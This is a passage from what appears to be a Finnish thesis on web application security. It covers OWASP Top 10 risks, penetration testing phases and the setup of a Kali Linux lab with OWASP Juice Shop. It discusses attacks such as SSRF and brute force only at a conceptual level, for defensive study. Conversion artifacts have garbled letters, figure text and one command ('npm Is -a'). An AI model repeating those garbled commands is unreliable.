teavat helposti keskenaan, on niilla eri juurisyyt ja keinot korjaamiseen [20].

Turvallinen suunnittelu tulisi omaksua osaksi sovelluskehityksen prosesseja jo
heti alkuvaiheessa ja istuttaa koko kehittajatiimin tyoskentelykulttuuriin. Tama
pitaa sisallaan tietoturvan testaukset ja niiden tuloksien analysoinnin seka rat-
kaisujen pohtimisen kehitysty6ta tekevan henkiloston kesken. Turvallisen suun-
nittelun on oltava holistinen ajattelutapa sovelluskehityksen koko elinkaaren ai-
kana. [31.] Nain saavutetaan kehitysprosessi, jossa tietoturva huomioidaan kai-
kissa kehitystyon vaiheissa heti alusta alkaen ja lisataan kehitystyota tekevan

henkiloston vastuuntuntoa tietoturvasta.

3.5 Virheet konfiguraatiossa

Virheet palvelimen tai verkkosivun tietoturva-asetuksissa johtuvat alustamisvai-
heessa tehdyista virheista ja puutteellisesta konfiguroinnista. Kayttéonotto on
esimerkiksi saatettu tehda oletusasetuksilla, mika on erittain vakava riski tieto-
turvalle [32]. Vaarin konfiguroidun web-sovelluksen riskit kasvavat sovelluksen
jokaisella kerroksella seka mahdollisen pilvipalvelun tarjoajalla [21].

Web-sovellusten tietoturvassa on useita mahdollisia aukkoja laajalla alueella,

kun tarkastellaan koko sovellusta sisaltaen sen kaikki kerrokset, eli eri ohjelmat,
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komponentit ja rajapinnat, jotka ovat sovelluksen kaytdssa. Tyypillinen virhe so-
velluksen arkkitehtuurissa on jattaa turhat ominaisuudet, kuten kayttamattomat
verkkoportit, palvelut ja sivut auki, seka tarpeettomat kayttajat ja kayttdoikeudet
paalle [21]. Naita auki jatettyja ominaisuuksia voidaan kayttaa hyokkayksissa
helposti hyodyksi monella eri tavalla. Kayttamattomia ominaisuuksia ei valtta-
matta myoskaan seurata usein, joten ne helposti jaavat paivittamatta ja taten
vanhenevat. Vanhentuneet versiot ominaisuuksissa ja ajurit komponenteissa
ovat tietoturvariski. My0s oletuskayttajien jattaminen toimintaan on vakava tie-
toturvariski, silla usein naiden kayttajien kayttajanimet ja salasanat ovat ylei-
sessa tiedossa tai muuten helposti arvattavissa, mika altistaa hyokkayksille,
jotka pahimmillaan vaarantavat koko sovelluksen tai jopa koko yrityksen infra-
struktuurin ja arkaluonteiset tiedot. [21.] Muita virheita ovat esimerkiksi turvatto-
mat asetukset palvelimella, ohjelmointiviitekehyksissa ja -kirjastoissa seka tieto-
kannassa. Lisaksi virheenhallinnan lilan avoimilla ja runsaasti tietoa sisaltavilla
virheraporteilla voidaan paljastaa hyokkaajalle hyodyllista tietoa sovelluksen toi-

minnasta. [21.]

Jotta tietoturva-aukot sovelluksen eri tasoilla voidaan paikata, on ensin opittava
ja ymmarrettava sovelluksen toiminnot ja se, miten nama ominaisuudet kayttay-
tyvat. On tarkeaa olla tietoinen sovellusta koskevan infrastruktuurin koostumuk-
sesta reaaliajassa ja hahmottaa sen tarpeettomat osat. Kun systeemi ymmarre-
taan, voidaan eliminoida turhat ominaisuudet ja puutteelliset tietoturva-asetuk-
set korjata. [32.] Tulevaisuudessa puutteita voidaan minimoida tekemalla julkai-
suymparistojen konfiguraatiosta toistettava prosessi seka sitten automatisoi-
malla se. Konfiguraatio tulisi tehda identtisesti, mutta eri paasytiedoin, jotta use-
aan ymparistdoon ei voida kayttaa samoja salasanoja. Nain valtetaan inhimilliset

virheet ja uusien turvapuutteiden havainnoimisesta tulee helpompaa. [21.]

3.6 Haavoittuvat ja vanhentuneet komponentit

Web-kehityksessa ulkoisten komponenttien eli kolmansien osapuolten kirjoitta-
maa koodia, ohjelmistoja, kirjastoja tai kehyksia kaytetaan hyvin yleisesti orga-
nisaation sisalla tuotetun koodin rinnalla. Tarkasteltaessa komponentteja web-
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kehityksessa laajasti, kattaa niiden kaytto kaikki web-sovelluksen tasot aina

kayttojarjestelmasta kolmansien osapuolten koodikirjastoihin. [33.]

Komponenttien kayttd on kieltdmatta hyodyllista, silla valmiiden ratkaisujen hyo-
tykayttd nopeuttaa kehitettavan ohjelmiston julkaisua, mutta silloin niiden kayton
ymparille on syyta luoda toimintaperiaatteet, joilla sovelluksen tietoturva varmis-
tetaan. Hyokkaajille tunnetut heikkoudet komponenteissa tarjoavat oivallisia pis-
teitd kohdennetuille hyokkayksille [33]. Tietyissa tapauksissa ja parhaimmillaan
komponenttien kayttd voi kuitenkin olla turvallisempi vaihtoehto kuin itse toteu-
tettu osa ohjelmaa: aloittelevan web-kehittajan toteuttama kirjautumissivu web-
sovelluksessa on luultavasti huomattavasti epaturvallisempi kuin integroidun

OAuth-kirjautumispalvelun kaytto.

Kolmansien osapuolten komponenttien kaytdssa on huolehdittava siita, etta tie-
detaan taydellisesti, mita komponentteja kehitettavassa ohjelmassa kaytetaan
ja mika niiden tarkoitus on [33]. Kehitysty0ssa saatetaan esimerkiksi kayttaa si-
sakkaisia komponentteja, jotka sisaltavat riippuvuuksia muihin komponentteihin,
minka takia kokonaisuuden havaitseminen on haastavaa. Riippuvuuksien tar-
kastaminen voidaan toteuttaa manuaalisesti, esimerkiksi npm-paketinhallinta-
ohjelmalla suorittamalla npm Is -a -komento. [5.] Kuvassa 5 nakyy komennon
tuloste konsolissa, josta nahdaan ohjelmiston kayttaman React Router -kom-

ponentin sisaltamat riippuvuudet.

react-router-dom@s.3.0
- =

a5.3.0

0 deduped

3.0
0 deduped
.0 deduped

Kuva 5. React Router -komponentin riippuvuuspuu.

Paketin- ja riippuvuuksienhallintaohjelmat auttavat merkittavasti komponenttien

paivityksessa ja yllapidossa seka kertovat, jos jokin niistd on vanhentunut. Ne
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eivat kuitenkaan kerro, jos komponenttiin kohdistuu jokin uhka. Lisaksi manuaa-
lisesti komponenttien hallinta ja turvallisuuden varmistaminen on hyvin tyolasta,
joten prosessi on syyta automatisoida, esimerkiksi iteroimalla komponenttien
riippuvuuspuu ja vertaamalla sen sisaltdmia komponentteja johonkin tunnettuun
CVE-tietokantaan. Nain komponenttien versiokohtaiset uhat voidaan selvittaa
tehokkaasti. [5.]

Komponenttien turvallinen kayttaminen siis kokonaisuudessaan vaatii ohjelmis-
ton ja sen osien tuntemista, jarjestelmallista paivittamista, tietoturvauhkien auto-
matisoitua skannaamista, komponenttien uusien versioiden testaamista seka
ongelmien korjaamista. On myoés suotavaa, etta edella mainitut toimenpiteet
suoritetaan tarpeeksi usein, jotta sovellus tai ohjelmisto ei ehdi olla mahdollisen
uhan alla kohtuuttoman pitkda aikaa. Tietoturvauhkiin reagoimiseen auttaa
myos kolmansien osapuolten komponenttien tarjoajien turvatiedotteet, joita voi

usein tilata sahkopostiin. [22; 33.]

3.7 Virheet tunnistamisessa ja todentamisessa

Useat web-sovellukset tarjoavat kayttajilleen mahdollisuuden kirjautua sisaan
rekisterdimillaan tunnuksilla. Tata kutsutaan todentamiseksi. Todentamispro-
sessin aikana kayttaja pyritaan tunnistamaan, eli yksinkertaisesti sanottuna var-
mistetaan, etta kayttaja on se, joksi vaittaa itsensa olevan. Yleisin tapa toteuttaa
todentaminen on klassinen kayttajanimen ja salasanan yhdistelma, joskin ta-
man rinnalle on nykyaan noussut myds muita todentamisen keinoja, kuten
OAuth tai SSO, eli single sign-on. [34.] Esimerkiksi OAuth siirtdaa web-sovelluk-
sen tarjoajan kayttajanimen ja salasanan huolehtimisen kolmannelle osapuo-
lelle, mutta huomionarvoista on, etta jos kayttajan alkuperainen tili joutuu vaariin
kasiin, voi silla olla massiiviset vahingot kayttajan muihin OAuth-palvelulla val-
tuutettuihin tileihin [5].

Hydkkayskohteena verkkosivun todentamisvaihe on erittain houkutteleva, eten-
kin jos hyokkaaja onnistuu paasemaan kasiksi sovelluksen yllapitajan kayttaja-

tunnuksiin. Varastettuja kayttajatunnuksia voidaan kayttaa hyodyksi useilla eri
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tavoilla, kuten kiristamalla, disinformaation levittdmisella sosiaalisessa medi-
assa, rahallisen edun tavoittelulla petoksilla tai tunnusten myynnilla pimeassa
verkossa. [33.] Varastettujen tunnusten kautta aiheutettu vahinko riippuu verk-
kosivun luonteesta, mutta ei rajaudu siihen, jos kayttaja on kayttanyt vuotanutta
kayttajatunnusta ja salasanaa useammassa palvelussa ja hyokkaaja onnistuu

laajentamaan niiden kayttokohdetta.

Todentamispalvelun tarjoaminen verkkosovelluksessa vaatii myds muita toimin-
toja kayttajatilin hallintaan — jos kayttaja esimerkiksi unohtaa salasanansa, on
salasana pystyttava palauttamaan. Taman lisaksi muita toimintoja voi olla sala-
sanan vaihto ja kirjautumisen muistaminen, jotta kayttajan ei tarvitse aina nap-
pailla tunnuksiaan uudestaan. Valitettavasti nama edella mainitut ominaisuudet
sovelluksessa kasvattavat hyokkayspintaa, mika on huomioitava kehitystyossa.
Esimerkiksi jos kayttaja nakee uutta tunnusta rekisterdidessaan ilmoituksen
verkkosivulla, missa sanotaan, etta tama kayttajanimi on varattu, antaa tama vil-
pilliselle taholle mahdollisuuden enumeroida eli listata jo olemassa olevia kayt-
tajanimia. Ominaisuus on kuitenkin tarpeellinen, joten talldin on syyta asettaa
aikarajoitus useamman yrityksen jalkeen tai implementoida ominaisuuteen

CAPTCHA-testi, jolloin automatisoitua enumerointia saadaan hidastettua. [34.]

Edella mainittuja verkkosovelluksen enumeroituja kayttajanimia voidaan kayttaa
brute-force-hydkkayksessa hyoddyksi iteroimalla 16ydettyja kayttajanimia listaan,
joka sisaltaa yleisimmin kaytettyja heikkoja salasanoja. Lisaksi todentamisvaihe
voi olla haavoittuvainen myos esimerkiksi XSS-, CSRF- ja injektiohydkkayksille

seka istunnon kaappauksille [34].

Voidaankin todeta, etta hyokkayspintaa todentamisessa on runsaasti, ja siksi
onkin olennaista, ettd web-sovellus suojataan mahdollisimman huolellisesti im-
plementoimalla suojaus automatisoituja hyokkayksia vastaan, estetaan heikko-
jen salasanojen luonti, toimitetaan salasananpalautuslinkki ulkoista kanavaa pit-
kin ja asetetaan talle aikaikkuna seka huolehditaan, ettd istuntoavaimet ovat tar-

koituksenmukaisesti valideja, tarvittaessa kertakayttoisia [23].
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3.8 Ohjelmistojen ja tiedon eheysvirheet

Ohjelmistojen ja tiedon eheys ovat kriittinen osa web-sovelluksen turvallisuutta,
milla varmistetaan ohjelmiston koodin ja infrastruktuurin suojaus valtuuttamatto-
milta muutoksilta. Edeltavissa kappaleissa kaytiin lapi, etta useat web-sovelluk-
set rakennetaan kayttaen hyodyksi kolmansien osapuolien komponentteja, ku-
ten koodikirjastoja. Ongelmia eheyden kanssa voi syntya, kun naitd komponent-
teja kaytetdan varmentamattomista ja epaluotettavista lahteista, kuten paketti-
varastoista (engl. repository) tai sisallonjakoverkosta, joiden kautta sovelluksen
infrastruktuuriin saattaa paasta peukaloitua tai sen toimintaa vaarantavaa sisal-
téa. Varmentamaton pakettivarasto, josta sovelluksen kayttama komponentti
hakee paivityksia, voi olla vaarantunut, jolloin on riski, etta sovellus lataa lah-
teesta tiedoston, jonka ei kuuluisi olla siella tai jonka puutteelliset tietoturva-ase-
tukset vaikuttavat kielteisesti sovelluksen turvallisuuteen. Jos sovellusta ei ole
suojattu tamanlaisia hyokkayksia ja riskeja vastaan paivitysten eheyden tarkis-

tamisella, sisaltd ladataan suoraan sellaisenaan. [24; 35.]

Jatkuvan integroinnin ja julkaisun jarjestelmissa, joissa sovellus hakee auto-
maattisesti paivityksia ja ajaa ne suoraan kehitykseen tai tuotantoon, voi il-
maantua edellisessa kappaleessa mainittuja riskitekijoita, joiden kautta sovellus
saattaa altistua haavoittuvuuksille ja hyokkayksille. Automatisoiduissa paivityk-
sissa riski nousee silloin, kun tarkoituksenmukaisesta eheyden tarkistamisesta
ei ole huolehdittu CI/CD-putkessa, mika antaa vilpilliselle toiminnalle hyvin laa-
jan hyokkayspinta-alan, joka pahimmillaan jaa huomaamatta pitkaksi aikaa.
[35.]

Eheysvirheiden valttdmiseksi komponentteja ja muuta sovelluksen infrastruktuu-
riin kuuluvaa ladattaessa ulkoisista lahteista, on suositeltavaa kayttaa digitaali-
sia allekirjoituksia, joiden avulla ladattavan sisallon ja lahteen luotettavuus voi-
daan varmentaa. Paketinhallintajarjestelmia kaytettaessa tulisi tarkistaa, etta
vain luotetut pakettivarastot ovat sallittuja kaytettavaksi. Joissain tapauksissa
voi olla tarkoituksenmukaista jarjestaa organisaation sisainen pakettivarasto, jo-

hon vain luotetut ja varmennetut ohjelmistot, kirjastot ja riippuvuudet on
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varastoitu. Olennaista on myos, etta koodin ja tietoturva-asetusten muutoksille

on kaytossa hyvien kaytantdjen mukainen katselmointi. [24.]

Cl/CD-putkien suhteen on tarkeaa asettaa paasyoikeuksille vain tarpeelliset val-
tuudet, jotta oikeuksien eskaloinnilta valtytaan. Lisaksi kehitys- ja julkaisuput-
kien eriyttamisella voidaan haavoittuvuuden realisoituessa minimoida hyokkayk-

sen laajuutta. [35.]

3.9 Puutteet kirjauksessa ja valvonnassa

Web-sovelluksen turvallisuuden ja siihen kohdistuvien vaarinkaytosten kannalta
on olennaista, ettad sovelluksen toiminnallisuuksia ja kayttajia valvotaan (engl.
monitoring) seka naista koostuvat tapahtumat kirjataan (engl. logging) talteen.
Vaikka puutteet kirjauksessa ja valvonnassa eivat suoranaisesti ole haavoittu-

vaisuuksia, ne altistavat jarjestelman niille. [36.]

Tapahtumien kirjaaminen auttaa seuraamaan ja analysoimaan sovelluksen elin-
kaaren aikana tapahtuvia normaaleja toimintoja, kuten kayttajatapahtumia,
mutta myds varoituksia ja virhetilanteita, esimerkiksi sisaankirjautumisessa ta-
pahtuvan vaaran salasanan syottaminen. [36.] Puutteellinen kirjaus ja monito-
rointi johtaa siihen, etta aktiivisia hyokkaysyrityksia ei valttamatta havaita, mika

antaa vilpilliselle taholle vapaat kadet toimia rauhassa [25].

Kayttajatapahtumien, kuten transaktioiden, sisdankirjautumisen tai sen epaon-
nistumisen jattaminen tallentamatta ovat puutteita kirjauksessa [25]. On tarkoi-
tuksenmukaista, etta esimerkiksi samasta IP-osoitteesta tulevaa epaonnistunei-
den kirjautumisyritysten virtaa voidaan automaattisesti valvoa lokin pohjalta ja
analysoida, onko kyseessa potentiaalinen hydkkaysyritys, kuten brute-force-
hyokkays. Talldin hydkkaykseen voidaan reagoida nopeasti tarvittavin toimin,
mielellaan automaattisesti, jos ohjelmisto on kehitetty asianmukaisella kompe-
tenssilla. Taman lisaksi varoitus- ja virhetilanteista generoitujen ilmoitusten tulisi

olla ymmarrettavia ja sisalloltaan riittavan kattavia [25].
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Pelkka lokien pitaminen ei ole riittavaa, vaan niita tulee myos valvoa, jotta epa-
normaali kayttaytyminen jarjestelmassa, web-sovelluksessa ja sen kayttajissa
voidaan ajoissa havaita ja tunnistaa. Valvonnan piiriin kuuluu myoés ohjelmointi-
rajapinnat, silla namakin ovat tyypillinen vilpillisen toiminnan kohde [25]. Val-

vonta on epaonnistunut, jos tietoturvamurtoja ei huomata. [36.]

Virheiden ja puutteiden valttamiseksi kirjauksessa ja valvonnassa on varmistet-
tava, etta kaikki virhetapahtumat sisaankirjautumisessa, paasyoikeuksien hallin-
nassa ja syotteiden validoinnissa kirjataan lokiin tarpeellisin tiedoin seka tunnis-
tetaan naista vilpillinen toiminta, johon my0s tarvittaessa vastataan nopeasti

[25]. Loki itsessaan on my0s syyta suojata injektiohyokkayksilta ja muilta siihen

kohdistuvilta pahansuovilta hyvaksikayton yrityksilta [36].

3.10 Server Side Request Forgery (SSRF)

SSRF-hyokkayksessa vilpillinen taho pyrkii saamaan palvelinpuolen ohjelman
tekemaan pyynnon sellaisiin resursseihin, joihin normaalisti kayttajalla ei pitaisi
olla paasya, esimerkiksi organisaation sisaisiin resursseihin tai joihinkin muihin
ulkoisiin resursseihin, joiden kautta hydkkaaja paasee kasiksi sensitiiviseen tie-
toon [37]. Vaikka organisaation sisaiset resurssit olisi suojattu palomuurilla tai
VPN:II4, eika tavoitettavissa ulkoisesta verkosta, voi SSRF-hyokkayksella hyok-
kaaja saavuttaa nama resurssit, silla pyynto niihin tulee naennaisesti luotetta-
vasta lahteestd, eli organisaation omalta palvelimelta, tai localhost-osoitteesta,

jos hyokkaaja yrittaa kayttaa hyddykseen loopback-kayttélittymaa. [38].

Web-sovelluksen riski altistua SSRF-hydkkaykselle ilmenee, kun sovellus nou-
taa dataa jostain osoitteesta, esimerkiksi kayttajan profiilikuvan ladattavaksi ul-
koisesta resurssista ilman, etta kayttajan syottamaa URL-merkkijonoa validoi-

daan, jolloin web-sovellusta voidaan kayttaa hyvaksi pakottamalla se tekemaan
peukaloitu pyynto sellaiseen resurssiin, johon ei normaalisti kayttajalla ole paa-
sya [26]. Kun hyokkaajalla on mahdollisuus paasta osittain tai kokonaan kasiksi
web-sovelluksen tekemiin pyyntdihin, lisaa se riskia SSRF-hyokkaykselle URL-

manipuloinnin kautta [38].
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Kuvassa 6 ilmenee yleisella tasolla SSRF-hydkkayksen toimintaperiaate, jossa
hyokkaaja lahettaa peukaloidun http-pyynnon haavoittuvalle palvelimelle, joka
puolestaan tekee pyynndn kohteena olevaan ohjelmaan, sovellukseen tai re-
surssiin. Kohteena oleva entiteetti vastaa palvelimen pyyntdon ja palvelin vas-
taa hyokkaajan kayttajapaatteeseen. Nain hyokkaaja on valjastanut haavoittu-
van palvelimen omaksi hydodykseen ja paasee kasiksi saavuttamattomiksi tar-

koitettuihin resursseihin tai tietoihin.

Attacker Vulnerable Application Targeted Application

Crafted HTTP request

Request (HTTP, FTP...)

Use payload induded
into the request to
WVulnerableApplication

Response

Response

Indude response
from the
TargetedApplication

Attacker Vulnerable Application Targeted Application

Kuva 6. SSRF-hydkkayksen tapahtumavirta [39].

SSRF-hyokkayksien riskien vahentamiseksi tehokas keino on ottaa kayttéon
valkolista, joka sisaltaa ne osoitteet, joihin web-sovellus saa ottaa yhteytta. Nain
muut verkko-osoitteet suljetaan sovelluksen ulkopuolelle. [38.] Jos valkolistan
sijaan kaytdssa on mustalista kielletyista verkko-osoitteista, kaikki kayttajalta tu-

leva data tulisi sanitoida ja validoida palvelinpuolella, jotta peukaloituja pyyntdja
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ei voida tehda [26; 38]. Mustalistan kayttaminen tietoturvan nakdkulmasta ylei-
sella tasolla ei kuitenkaan ole suotavaa, silla sen yllapitaminen on tyolasta ja
virhealttius suurta, mika saattaa jattaa runsaasti aukkoja hyokkayksille [38]. Li-
saksi on huomioitava, etta jos sanitointi ja validointi on tehty vain kayttajapuo-
lella, on palvelimelle tuleva pyynto helppoa pysayttaa ja lahettaa eteenpain pal-
velimelle peukaloituna. Muita keinoja riskien vahentamiseksi ovat http-uudel-
leenohjausten ja kayttamattomien URL-skeemojen estaminen seka siitéa huoleh-
timinen, etta palvelimelta ei sallita raakoja vastauksia (engl. raw response) kayt-

tajien tekemiin pyyntoihin.

4 Penetraatiotestaus

4.1 Yleista penetraatiotestauksesta

Erilaisten web-sovellusten laajentuessa ja yleistyessa tietoturvan huomioiminen
ohjelmistokehityksessa on lisdantynyt tieto- ja viestintatekniikan alalla, mika na-
kyy my0Os organisaatioiden kasvavina investointeina tietoturvaan [40]. Nykyiset
ohjelmat ovat toiminnoiltaan aarimmaisen monipuolisia ja kasittelevat valtavan
maaran dataa, joka saattaa olla sensitiivista. Lisaksi mobiililaitteiden yleistyttya
ja teknologian kulkiessa taskussa joka hetki, on modernissa yhteiskunnassa |a-
hestulkoon kaikki palvelut saavutettavissa internetin valityksella. Kehitys on kul-
kenut kauaksi internetin alkuajoista, jolloin verkkosivut olivat lahinna staattisia
HTML-sivuja, joissa interaktiivisuus kayttajan kanssa oli hyvin minimaalista.
Muutos on lisannyt mahdollisuuksia vilpilliselle toiminnalle, silla ohjelmistojen
arkkitehtuurien monimutkaisuus ja laajuus luovat otollisia tilaisuuksia vaarinkay-
tolle. Web-sovellusten kompleksisuuden kasvaessa ja hyokkaysten luonteen
muuttuessa on ollut tarpeellista kehittda keinoja testata sovelluksia heikoilta
kohdilta.

Penetraatiotestaus on tietoturva-ammattilaisten suorittama prosessi, jossa tieto-
verkon, sovelluksen, jarjestelman, ohjelman tai muun infrastruktuuriin liittyvan

aspektin tietoturvahaavoittuvuuksia testataan eettisen hakkeroinnin keinoin [41].
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Taman insindorityon puitteissa testaamme web-sovellusta, joten jatkossa viit-

taukset penetraatiotestaukseen tapahtuvat myos web-sovellusten kontekstissa.

Penetraatiotestauksessa simuloidaan oikean maailman hyokkayksia sovellusta
vastaan — joskus testiymparistossa, jotta oikealle jarjestelmalle ei aiheutettaisi
haittaa. Testauksen aikana toteutetut hyokkaykset voivat olla automatisoituja tai
manuaalisia, ja niilla pyritdan paikantamaan sovelluksen ja sen infrastruktuurin
heikkoja kohtia. Huomionarvoista on, etta pelkat automaattiset testit eivat ole
riittavia, eivatka ne tayta penetraatiotestauksen standardeja. Tama johtuu siita,
etta automaattiset testit antavat usein vaaria halytyksia tai eivat huomaa kaikkia
haavoittuvuuksia, etenkdan monimutkaisia sellaisia. Penetraatiotestauksen ta-
voitteena on selvittda mahdolliset haavoittuvuudet ja puutteet tietoturvassa,
mitka dokumentoidaan ja raportoidaan yksityiskohtaisesti testattavalle taholle.
Penetraatiotestauksen viimeisessa vaiheessa asiantuntijat tyypillisesti konsultoi-

vat palveluntilaajaa, kuinka nama puutteet tulisi korjata. [41; 42.]

4.2 Penetraatiotestauksen vaiheet

Yleisesti kaytossa oleva Penetration Testing Execution Standard (PTES) jakaa

penetraatiotestauksen seitsemaan vaiheeseen.

Esivaiheessa penetraatiotestaaja keskustelee asiakkaan kanssa penetraatiotes-
tauksen tavoitteista, laajuudesta, ajankohdasta ja metodeista. Tassa vaiheessa
maaritellaan testin yksityiskohdat, joten kommunikaatio asiakkaan kanssa on
erittain tarkeaa vaarinkasitysten valttamiseksi. Tassa vaiheessa myos sovitaan,
kuinka paljon tietoa jarjestelmasta annetaan testaajalle kaytettavaksi: black-box
test — ei yhtaan, white-box test — taydellinen lapinakyvyys jarjestelmasta, gray-
box test — osittaiset tiedot. [41; 43.]

Tiedonkeruuvaiheessa tiedustellaan ja kartoitetaan jarjestelman toimintaa. Tie-
toa kerataan julkisesti saatavilla olevista lahteista ja selvittamalla, millaisia ohjel-

mistoja on kaytdssa. [43.] Luvussa 2.2 tiedustelutoiminta yksityiskohtaisesti.
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Uhkien mallintaminen on vaihe, jossa keratyn informaation pohjalta saatujen
|I0ydosten merkittavyytta arvioidaan seka onnistuneen uhkakuvan realisoitumi-
sen vaikutusta asiakkaan jarjestelmaan analysoidaan. Kayttokelpoisten hyok-

kaysmetodien toimintasuunnitelma kehitetaan. [43.]

Haavoittuvuusanalyysissé testaaja aktiivisesti etsii tarkemmin haavoittuvuuksia
ja arvioi niihin kohdistettujen hydkkaysten toimivuutta. Haavoittuvuuksia etsitaan

automatisoiduilla ja manuaalisilla tyokaluilla. [43.]

Hybkkéysvaiheessa loydettyja haavoittuvuuksia hyvaksikaytetaan ja varsinaiset

hyokkaykset toteutetaan. [43.]

Jélkivaiheessa kerataan lisatietoa penetraatiotestauksen kohteena olevasta jar-
jestelmasta ja etsitdan mahdollisuuksia uusille hyvaksikayton kohteille. Testaaja
saattaa esimerkiksi etsia hyodyllisia tiedostoja, tai koittaa nostaa paasyoikeuk-
sien tasoa, milla voisi murtautua syvemmalle varsinaisen testattavan jarjestel-
man ulkopuolelle. Jalkivaihe on erittain tarkea vaihe penetraatiotestauksessa,
silla sen aikana arvioidaan hyokkayksesta johdetut vaikutukset asiakkaaseen ja

jarjestelmaan. [43.]

Raportointi on penetraatiotestauksen viimeinen vaihe, jossa asiakkaalle rapor-
toidaan kattavasti ja ymmarrettavasti tehdyt I16ydokset ja niiden merkitys jarjes-
telman turvallisuudelle. Asiakasta myOs neuvotaan jarjestelman tietoturvallisuu-

den parantamisessa. [43.]

4.3 Valitut teknologiat

Penetraatiotestauksessa kaytettavat teknologiat valitaan tarkoituksenmukaisesti
testattavan kohteen mukaan. Koska tama insindorityo kasittelee erityisesti web-
sovellusten tietoturvaa, valittiin tdhan nakokulmaan sopivat tydkalut ja testaus-

ymparisto, jotka esitellaan seuraavaksi alla.

Kali Linux on Debian-pohjainen penetraatiotestaajien, tietoturva-asiantuntijoiden

ja valkolakkihakkereiden suosiossa oleva kayttojarjestelma. Kali Linux sisaltaa
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esiasennettuna kattavan paketin tyokaluja, joita voidaan hyédyntaa penetraatio-
testauksessa, minka lisaksi kayttojarjestelman ymparilla on erittain aktiivinen
kayttajayhteiso, joten resursseja ja tietoa on avoimesti saatavilla kattavasti.

Edelld mainitut seikat huomioiden Kali oli helppo valinta kayttojarjestelmaksi.

OWASP Juice Shop on avoimen lahdekoodin projekti, joka tarjoaa testausym-

pariston web-sovellusten tietoturvan ja haavoittuvuuksien hyvaksikaytolle. Web-
sovellus on tarkoituksella kehitetty turvallisuusominaisuuksiltaan puutteelliseksi
ja on erinomainen alusta harjoitella OWASP Top 10 -listalta |0ytyvien haavoittu-

vuuksien hyvaksikayttoa turvallisesti.

Burp Suite on PortSwiggerin kehittdama tydkalu penetraatiotestausta varten,
jonka proxy-toiminto mahdollistaa selaimessa toimivan web-sovelluksen ja pal-
velimen valisen tietoliikenteen valiintulon. Tama tarkoittaa sita, ettad yhdistettyna
muihin Burp Suiten ominaisuuksiin, on penetraatiotestaajalla hyvin laajat mah-
dollisuudet tarkkailla sovelluksen toimintaperiaatteita seka tunnistaa ja testata
web-sovelluksen haavoittuvuuksia. Tassa tyossa kaytetaan Kali Linuxiin esi-
asennettua Burp Suiten ilmaisversiota, jonka ominaisuudet ovat rajatut, mutta

suhteellisen riittavat manuaaliseen testaamiseen.

Zed Attack Proxy (ZAP) on penetraatiotestaukseen tarkoitettu tydkalu, jonka toi-
mintaperiaate on hyvin samanlainen kuin Burp Suitella. Koska tassa tyossa kay-
tetaan Burp Suiten ilmaisversiota, otetaan ZAP sen rinnalle paikkaamaan puut-
tuvia ominaisuuksia, kuten verkkosivun automaattista skannausta ja haavoittu-

vuuksien paikantamista.

Muita tydssa kaytettyja teknologioita ovat muun muassa Wappalyzer, Sqlmap,

Hashcat, John The Ripper ja FoxyProxy.

Alustana testausymparistolle toimii Oracle VM VirtualBox, jolle Kali Linux asen-

nus tehdaan Debian 64-bittiselle virtuaalitietokoneelle.
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4.4 Testausympariston pystytys

Ympariston pystytyksen ensimmaisessa vaiheessa ladattiin Oracle VM Virtual-
Box -ohjelma ja Kali Linux -kayttojarjestelman 1SO-tiedosto, joka tarvitaan kayt-
tojarjestelman lataamiseen virtuaalitietokoneelle. Taman jalkeen luotiin uusi vir-
tuaalikone, jonka asetukset muokattiin ympariston pystyttamista varten sopi-
vaksi. Kuvassa 7 nahdaan virtuaalikoneen tallennuskansio ja kaytettava ISO-
kuva sille asennettavasta kayttojarjestelmasta. Virtuaalitietokoneen pohjana

toimi 64-bittinen Debian Linux-jakelu.

V¥ Create Virtual Machine ? *

“ Name and Operating System

Name:  kali

-2024. 14nstaller-amd&4.iso

» Unattended Install

» Hardware

» Hard Disk

Guided Mode

Kuva 7. Kuvakaappaus virtuaalikoneen asetusten ensimmaisesta vaiheesta.

Seuraavaksi allokoitiin virtuaalitietokoneelle nelja gigatavua muistia ja kaytetta-
vaksi kaksi prosessoria. Nama asetukset ovat testausympariston kannalta riitta-
vat, mutta resursseja voitaisiin halutessa myds lisata, mika parantaisi ymparis-

ton suorituskykya. Asetukset nakyvat kuvassa 8.
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¥ Create Virtual Machine ? X

> Mame and Operating System
» Unattended Install
~ Hardware

Base Memory: 4096 MB

16384 MB

» Hard Disk

Guided Mode Finish

Kuva 8. Kuvakaappaus virtuaalikoneen asetusten toisesta vaiheesta.

Kuvassa 9 varattiin virtuaalitietokoneelle kaytettavaksi 20 gigatavua SSD-muis-

tia, mika on suositeltava minimivaatimus Kali Linux-asennukselle.

¥ Create Virtual Machine ? X

) Mame and Operating System
» Unattended Install
> Hardware

“ Hard Disk

® (Create a Virtual Hard Disk Now

Hard Disk File Location and Size

C:\Wsers\Naali\VirtualBox VMs\kalikali. vdi

4,00 MB
Hard Disk File Type and Variant

VDI (VirtualBox Disk Image) Pre-allocate Full Size

Use an Existing Virtual Hard Disk File

Do Not Add a Virtual Hard Disk

Help Guided Mode Finish
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Kuva 9. Kuvakaappaus virtuaalikoneen asetusten viimeisesta vaiheesta

Kun virtuaalikoneen asetukset oli asetettu, alkoi kayttojarjestelman asentami-
nen. Nama vaiheet on kuitenkin jatetty pois tasta tyosta, silla ne ovat paljolti
preferenssikysymyksia. Varsinaisen Kali Linuxin asennus sisaltaa esimerkiksi
kohtia, joissa kysytaan, haluaako tehda asennuksen graafiselle kayttoliittymalle,
vai pelkistetyn terminaalikayttojarjestelman, seka milla kielella tahtoo kayttojar-

jestelmaa kayttaa ja millaisen nappaimistdasettelun haluaa jarjestelmalle.

Asennuksen valmistuttua varmistettiin, etta kayttojarjestelma on ajan tasalla ja
paivitettiin paketit, asennettiin Node.js, npm-paketinhallintajarjestelma ja itse
OWASP Juice Shop. Viimeisena tarkistettiin, etta Juice Shop toimii. Edella mai-
nitut toimenpiteet suoritettiin komennoilla terminaalissa, mitka nakyvat esimerk-

kikoodissa 1.

#paivitetddn paketit
sudo apt update
sudo apt upgrade

#asennetaan Node.js ja npm-paketinhallintajarjestelma
sudo apt install nodejs
sudo apt install npm

#asennetaan OWASP Juice Shop
sudo apt install juice-shop

#k&dynnistetddn Juice Shop
sudo juice-shop

Esimerkkikoodi 1. Suoritetut komennot terminaalissa. Risuaidalla merkittya rivia
ei ajeta terminaalissa, vaan silla merkitaan kommenttia.

Burp Suiten oman selaimen kanssa ilmeni ongelmia tuoreimman Kali-version
kanssa, joten oletusselaimeksi valittiin Firefox. Jotta tyoskentely-ymparisto saa-
tiin miellyttavaksi, Firefoxiin asennettiin FoxyProxy Standard -lisdosa, jolla verk-
